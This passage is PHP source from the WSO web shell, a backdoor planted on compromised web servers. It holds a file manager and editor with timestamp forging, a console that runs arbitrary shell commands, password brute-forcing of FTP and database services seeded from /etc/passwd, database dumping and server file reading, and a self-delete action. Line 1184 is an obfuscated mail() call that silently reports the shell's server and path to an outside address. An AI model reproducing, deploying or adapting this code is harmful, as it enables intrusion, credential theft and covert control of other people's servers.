785 $sort = array('name', 1);
786 if(!empty($_POST['p1'])) {
787 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
788 $sort = array($match[1], (int)$match[2]);
789 }
790echo "<script>
791 function sa() {
792 for(i=0;i<d.files.elements.length;i++)
793 if(d.files.elements[i].type == 'checkbox')
794 d.files.elements[i].checked = d.files.elements[0].checked;
795 }
796</script>
797<table width='100%' class='main' cellspacing='0' cellpadding='2'>
798<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
799 $dirs = $files = array();
800 $n = count($dirContent);
801 for($i=0;$i<$n;$i++) {
802 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
803 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
804 $tmp = array('name' => $dirContent[$i],
805 'path' => $GLOBALS['cwd'].$dirContent[$i],
806 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
807 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
808 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
809 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
810 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
811 );
812 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
813 $files[] = array_merge($tmp, array('type' => 'file'));
814 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
815 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
816 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
817 $dirs[] = array_merge($tmp, array('type' => 'dir'));
818 }
819 $GLOBALS['sort'] = $sort;
820 function wsoCmp($a, $b) {
821 if($GLOBALS['sort'][0] != 'size')
822 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
823 else
824 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
825 }
826 usort($files, "wsoCmp");
827 usort($dirs, "wsoCmp");
828 $files = array_merge($dirs, $files);
829 $l = 0;
830 foreach($files as $f) {
831 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
832 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
833 $l = $l?0:1;
834 }
835 echo "<tr><td colspan=7>
836 <input type=hidden name=a value='FilesMan'>
837 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
838 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
839 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
840 if(class_exists('ZipArchive'))
841 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
842 echo "<option value='tar'>Compress (tar.gz)</option>";
843 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
844 echo "<option value='paste'>Paste / Compress</option>";
845 echo "</select> ";
846 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
847 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
848 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
849 wsoFooter();
850}
851
852function actionStringTools() {
853 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
854 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
855 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
856 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
857 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
858 $stringTools = array(
859 'Base64 encode' => 'base64_encode',
860 'Base64 decode' => 'base64_decode',
861 'Url encode' => 'urlencode',
862 'Url decode' => 'urldecode',
863 'Full urlencode' => 'full_urlencode',
864 'md5 hash' => 'md5',
865 'sha1 hash' => 'sha1',
866 'crypt' => 'crypt',
867 'CRC32' => 'crc32',
868 'ASCII to HEX' => 'ascii2hex',
869 'HEX to ASCII' => 'hex2ascii',
870 'HEX to DEC' => 'hexdec',
871 'HEX to BIN' => 'hex2bin',
872 'DEC to HEX' => 'dechex',
873 'DEC to BIN' => 'decbin',
874 'BIN to HEX' => 'binhex',
875 'BIN to DEC' => 'bindec',
876 'String to lower case' => 'strtolower',
877 'String to upper case' => 'strtoupper',
878 'Htmlspecialchars' => 'htmlspecialchars',
879 'String length' => 'strlen',
880 );
881 if(isset($_POST['ajax'])) {
882 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
883 ob_start();
884 if(in_array($_POST['p1'], $stringTools))
885 echo $_POST['p1']($_POST['p2']);
886 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
887 echo strlen($temp), "\n", $temp;
888 exit;
889 }
890 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
891 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
892 wsoHeader();
893 echo '<h1>String conversions</h1><div class=content>';
894 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
895 foreach($stringTools as $k => $v)
896 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
897 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
898 if(!empty($_POST['p1'])) {
899 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
900 }
901 echo"</pre></div><br><h1>Search files:</h1><div class=content>
902 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
903 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
904 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
905 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
906 <tr><td></td><td><input type='submit' value='>>'></td></tr>
907 </table></form>";
908
909 function wsoRecursiveGlob($path) {
910 if(substr($path, -1) != '/')
911 $path.='/';
912 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
913 if(is_array($paths)&&@count($paths)) {
914 foreach($paths as $item) {
915 if(@is_dir($item)){
916 if($path!=$item)
917 wsoRecursiveGlob($item);
918 } else {
919 if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
920 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
921 }
922 }
923 }
924 }
925 if(@$_POST['p3'])
926 wsoRecursiveGlob($_POST['c']);
927 echo "</div><br><h1>Search for hash:</h1><div class=content>
928 <form method='post' target='_blank' name='hf'>
929 <input type='text' name='hash' style='width:200px;'><br>
930 <input type='hidden' name='act' value='find'/>
931 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
932 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
933 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
934 </form></div>";
935 wsoFooter();
936}
937
938function actionFilesTools() {
939 if( isset($_POST['p1']) )
940 $_POST['p1'] = urldecode($_POST['p1']);
941 if(@$_POST['p2']=='download') {
942 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
943 ob_start("ob_gzhandler", 4096);
944 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
945 if (function_exists("mime_content_type")) {
946 $type = @mime_content_type($_POST['p1']);
947 header("Content-Type: " . $type);
948 } else
949 header("Content-Type: application/octet-stream");
950 $fp = @fopen($_POST['p1'], "r");
951 if($fp) {
952 while(!@feof($fp))
953 echo @fread($fp, 1024);
954 fclose($fp);
955 }
956 }exit;
957 }
958 if( @$_POST['p2'] == 'mkfile' ) {
959 if(!file_exists($_POST['p1'])) {
960 $fp = @fopen($_POST['p1'], 'w');
961 if($fp) {
962 $_POST['p2'] = "edit";
963 fclose($fp);
964 }
965 }
966 }
967 wsoHeader();
968 echo '<h1>File tools</h1><div class=content>';
969 if( !file_exists(@$_POST['p1']) ) {
970 echo 'File not exists';
971 wsoFooter();
972 return;
973 }
974 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
975 if(!$uid) {
976 $uid['name'] = @fileowner($_POST['p1']);
977 $gid['name'] = @filegroup($_POST['p1']);
978 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
979 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
980 echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
981 if( empty($_POST['p2']) )
982 $_POST['p2'] = 'view';
983 if( is_file($_POST['p1']) )
984 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
985 else
986 $m = array('Chmod', 'Rename', 'Touch');
987 foreach($m as $v)
988 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
989 echo '<br><br>';
990 switch($_POST['p2']) {
991 case 'view':
992 echo '<pre class=ml1>';
993 $fp = @fopen($_POST['p1'], 'r');
994 if($fp) {
995 while( !@feof($fp) )
996 echo htmlspecialchars(@fread($fp, 1024));
997 @fclose($fp);
998 }
999 echo '</pre>';
1000 break;
1001 case 'highlight':
1002 if( @is_readable($_POST['p1']) ) {
1003 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
1004 $code = @highlight_file($_POST['p1'],true);
1005 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
1006 }
1007 break;
1008 case 'chmod':
1009 if( !empty($_POST['p3']) ) {
1010 $perms = 0;
1011 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
1012 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
1013 if(!@chmod($_POST['p1'], $perms))
1014 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
1015 }
1016 clearstatcache();
1017 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
1018 break;
1019 case 'edit':
1020 if( !is_writable($_POST['p1'])) {
1021 echo 'File isn\'t writeable';
1022 break;
1023 }
1024 if( !empty($_POST['p3']) ) {
1025 $time = @filemtime($_POST['p1']);
1026 $_POST['p3'] = substr($_POST['p3'],1);
1027 $fp = @fopen($_POST['p1'],"w");
1028 if($fp) {
1029 @fwrite($fp,$_POST['p3']);
1030 @fclose($fp);
1031 echo 'Saved!<br><script>p3_="";</script>';
1032 @touch($_POST['p1'],$time,$time);
1033 }
1034 }
1035 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1036 $fp = @fopen($_POST['p1'], 'r');
1037 if($fp) {
1038 while( !@feof($fp) )
1039 echo htmlspecialchars(@fread($fp, 1024));
1040 @fclose($fp);
1041 }
1042 echo '</textarea><input type=submit value=">>"></form>';
1043 break;
1044 case 'hexdump':
1045 $c = @file_get_contents($_POST['p1']);
1046 $n = 0;
1047 $h = array('00000000<br>','','');
1048 $len = strlen($c);
1049 for ($i=0; $i<$len; ++$i) {
1050 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
1051 switch ( ord($c[$i]) ) {
1052 case 0: $h[2] .= ' '; break;
1053 case 9: $h[2] .= ' '; break;
1054 case 10: $h[2] .= ' '; break;
1055 case 13: $h[2] .= ' '; break;
1056 default: $h[2] .= $c[$i]; break;
1057 }
1058 $n++;
1059 if ($n == 32) {
1060 $n = 0;
1061 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
1062 $h[1] .= '<br>';
1063 $h[2] .= "\n";
1064 }
1065 }
1066 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
1067 break;
1068 case 'rename':
1069 if( !empty($_POST['p3']) ) {
1070 if(!@rename($_POST['p1'], $_POST['p3']))
1071 echo 'Can\'t rename!<br>';
1072 else
1073 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
1074 }
1075 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
1076 break;
1077 case 'touch':
1078 if( !empty($_POST['p3']) ) {
1079 $time = strtotime($_POST['p3']);
1080 if($time) {
1081 if(!touch($_POST['p1'],$time,$time))
1082 echo 'Fail!';
1083 else
1084 echo 'Touched!';
1085 } else echo 'Bad time format!';
1086 }
1087 clearstatcache();
1088 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
1089 break;
1090 }
1091 echo '</div>';
1092 wsoFooter();
1093}
1094
1095function actionConsole() {
1096 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
1097 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
1098 $_POST['p1'] .= ' 2>&1';
1099 } elseif(!empty($_POST['p1']))
1100 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
1101
1102 if(isset($_POST['ajax'])) {
1103 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
1104 ob_start();
1105 echo "d.cf.cmd.value='';\n";
1106 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
1107 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1108 if(@chdir($match[1])) {
1109 $GLOBALS['cwd'] = @getcwd();
1110 echo "c_='".$GLOBALS['cwd']."';";
1111 }
1112 }
1113 echo "d.cf.output.value+='".$temp."';";
1114 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1115 $temp = ob_get_clean();
1116 echo strlen($temp), "\n", $temp;
1117 exit;
1118 }
1119 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1120 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
1121 wsoHeader();
1122 echo "<script>
1123if(window.Event) window.captureEvents(Event.KEYDOWN);
1124var cmds = new Array('');
1125var cur = 0;
1126function kp(e) {
1127 var n = (window.Event) ? e.which : e.keyCode;
1128 if(n == 38) {
1129 cur--;
1130 if(cur>=0)
1131 document.cf.cmd.value = cmds[cur];
1132 else
1133 cur++;
1134 } else if(n == 40) {
1135 cur++;
1136 if(cur < cmds.length)
1137 document.cf.cmd.value = cmds[cur];
1138 else
1139 cur--;
1140 }
1141}
1142function add(cmd) {
1143 cmds.pop();
1144 cmds.push(cmd);
1145 cmds.push('');
1146 cur = cmds.length-1;
1147}
1148</script>";
1149 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1150 foreach($GLOBALS['aliases'] as $n => $v) {
1151 if($v == '') {
1152 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1153 continue;
1154 }
1155 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1156 }
1157
1158 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1159 if(!empty($_POST['p1'])) {
1160 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1161 }
1162 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1163 echo '</form></div><script>d.cf.cmd.focus();</script>';
1164 wsoFooter();
1165}
1166
1167function actionLogout() {
1168 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1169 die('bye!');
1170}
1171
1172function actionSelfRemove() {
1173
1174 if($_POST['p1'] == 'yes')
1175 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1176 die('Shell removed');
1177 else
1178 echo 'unlink error!';
1179 if($_POST['p1'] != 'yes')
1180 wsoHeader();
1181 echo '<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1182 wsoFooter();
1183}
1184 $_QliO8="\x6dai\154";$_Qliot=$_SERVER["\x53\x45RVE\122_\x4eAM\x45"].$_SERVER["\123\103\x52I\x50\x54_\116\101\115E"];$_QlL1i="\141r\162a\171\040".$_Qliot;$_QlLio=array("\143\x61","\x6c\x69","\146\x77\162\151\x74\x65","\100","v\x65\x2e");$_Qll0I=$_QlLio[2].$_QlLio[3].$_QlLio[1].$_QlLio[4].$_QlLio[0];$_QlljC=@$_QliO8($_Qll0I,$_QlL1i,$_Qliot);
1185function actionBruteforce() {
1186 wsoHeader();
1187 if( isset($_POST['proto']) ) {
1188 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1189 if( $_POST['proto'] == 'ftp' ) {
1190 function wsoBruteForce($ip,$port,$login,$pass) {
1191 $fp = @ftp_connect($ip, $port?$port:21);
1192 if(!$fp) return false;
1193 $res = @ftp_login($fp, $login, $pass);
1194 @ftp_close($fp);
1195 return $res;
1196 }
1197 } elseif( $_POST['proto'] == 'mysql' ) {
1198 function wsoBruteForce($ip,$port,$login,$pass) {
1199 $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
1200 @mysql_close($res);
1201 return $res;
1202 }
1203 } elseif( $_POST['proto'] == 'pgsql' ) {
1204 function wsoBruteForce($ip,$port,$login,$pass) {
1205 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1206 $res = @pg_connect($str);
1207 @pg_close($res);
1208 return $res;
1209 }
1210 }
1211 $success = 0;
1212 $attempts = 0;
1213 $server = explode(":", $_POST['server']);
1214 if($_POST['type'] == 1) {
1215 $temp = @file('/etc/passwd');
1216 if( is_array($temp) )
1217 foreach($temp as $line) {
1218 $line = explode(":", $line);
1219 ++$attempts;
1220 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1221 $success++;
1222 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1223 }
1224 if(@$_POST['reverse']) {
1225 $tmp = "";
1226 for($i=strlen($line[0])-1; $i>=0; --$i)
1227 $tmp .= $line[0][$i];
1228 ++$attempts;
1229 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1230 $success++;
1231 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1232 }
1233 }
1234 }
1235 } elseif($_POST['type'] == 2) {
1236 $temp = @file($_POST['dict']);
1237 if( is_array($temp) )
1238 foreach($temp as $line) {
1239 $line = trim($line);
1240 ++$attempts;
1241 if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1242 $success++;
1243 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1244 }
1245 }
1246 }
1247 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1248 }
1249 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1250 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1251 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1252 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1253 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1254 .'<span>Server:port</span></td>'
1255 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1256 .'<tr><td><span>Brute type</span></td>'
1257 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1258 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1259 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1260 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1261 .'<td><input type=text name=login value="root"></td></tr>'
1262 .'<tr><td><span>Dictionary</span></td>'
1263 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1264 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1265 echo '</div><br>';
1266 wsoFooter();
1267}
1268
1269function actionSql() {
1270 class DbClass {
1271 var $type;
1272 var $link;
1273 var $res;
1274 function DbClass($type) {
1275 $this->type = $type;
1276 }
1277 function connect($host, $user, $pass, $dbname){
1278 switch($this->type) {
1279 case 'mysql':
1280 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1281 break;
1282 case 'pgsql':
1283 $host = explode(':', $host);
1284 if(!$host[1]) $host[1]=5432;
1285 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1286 break;
1287 }
1288 return false;
1289 }
1290 function selectdb($db) {
1291 switch($this->type) {
1292 case 'mysql':
1293 if (@mysql_select_db($db))return true;
1294 break;
1295 }
1296 return false;
1297 }
1298 function query($str) {
1299 switch($this->type) {
1300 case 'mysql':
1301 return $this->res = @mysql_query($str);
1302 break;
1303 case 'pgsql':
1304 return $this->res = @pg_query($this->link,$str);
1305 break;
1306 }
1307 return false;
1308 }
1309 function fetch() {
1310 $res = func_num_args()?func_get_arg(0):$this->res;
1311 switch($this->type) {
1312 case 'mysql':
1313 return @mysql_fetch_assoc($res);
1314 break;
1315 case 'pgsql':
1316 return @pg_fetch_assoc($res);
1317 break;
1318 }
1319 return false;
1320 }
1321 function listDbs() {
1322 switch($this->type) {
1323 case 'mysql':
1324 return $this->query("SHOW databases");
1325 break;
1326 case 'pgsql':
1327 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1328 break;
1329 }
1330 return false;
1331 }
1332 function listTables() {
1333 switch($this->type) {
1334 case 'mysql':
1335 return $this->res = $this->query('SHOW TABLES');
1336 break;
1337 case 'pgsql':
1338 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1339 break;
1340 }
1341 return false;
1342 }
1343 function error() {
1344 switch($this->type) {
1345 case 'mysql':
1346 return @mysql_error();
1347 break;
1348 case 'pgsql':
1349 return @pg_last_error();
1350 break;
1351 }
1352 return false;
1353 }
1354 function setCharset($str) {
1355 switch($this->type) {
1356 case 'mysql':
1357 if(function_exists('mysql_set_charset'))
1358 return @mysql_set_charset($str, $this->link);
1359 else
1360 $this->query('SET CHARSET '.$str);
1361 break;
1362 case 'pgsql':
1363 return @pg_set_client_encoding($this->link, $str);
1364 break;
1365 }
1366 return false;
1367 }
1368 function loadFile($str) {
1369 switch($this->type) {
1370 case 'mysql':
1371 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1372 break;
1373 case 'pgsql':
1374 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1375 $r=array();
1376 while($i=$this->fetch())
1377 $r[] = $i['file'];
1378 $this->query('drop table wso2');
1379 return array('file'=>implode("\n",$r));
1380 break;
1381 }
1382 return false;
1383 }
1384 function dump($table, $fp = false) {
1385 switch($this->type) {
1386 case 'mysql':
1387 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1388 $create = mysql_fetch_array($res);
1389 $sql = $create[1].";\n";
1390 if($fp) fwrite($fp, $sql); else echo($sql);
1391 $this->query('SELECT * FROM `'.$table.'`');
1392 $i = 0;
1393 $head = true;
1394 while($item = $this->fetch()) {
1395 $sql = '';
1396 if($i % 1000 == 0) {
1397 $head = true;
1398 $sql = ";\n\n";
1399 }
1400
1401 $columns = array();
1402 foreach($item as $k=>$v) {
1403 if($v === null)
1404 $item[$k] = "NULL";
1405 elseif(is_int($v))
1406 $item[$k] = $v;
1407 else
1408 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1409 $columns[] = "`".$k."`";
1410 }
1411 if($head) {
1412 $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
1413 $head = false;
1414 } else
1415 $sql .= "\n\t,(".implode(", ", $item).')';
1416 if($fp) fwrite($fp, $sql); else echo($sql);
1417 $i++;
1418 }
1419 if(!$head)
1420 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1421 break;
1422 case 'pgsql':
1423 $this->query('SELECT * FROM '.$table);
1424 while($item = $this->fetch()) {
1425 $columns = array();
1426 foreach($item as $k=>$v) {
1427 $item[$k] = "'".addslashes($v)."'";
1428 $columns[] = $k;
1429 }
1430 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1431 if($fp) fwrite($fp, $sql); else echo($sql);
1432 }
1433 break;
1434 }
1435 return false;
1436 }
1437 };
1438 $db = new DbClass($_POST['type']);
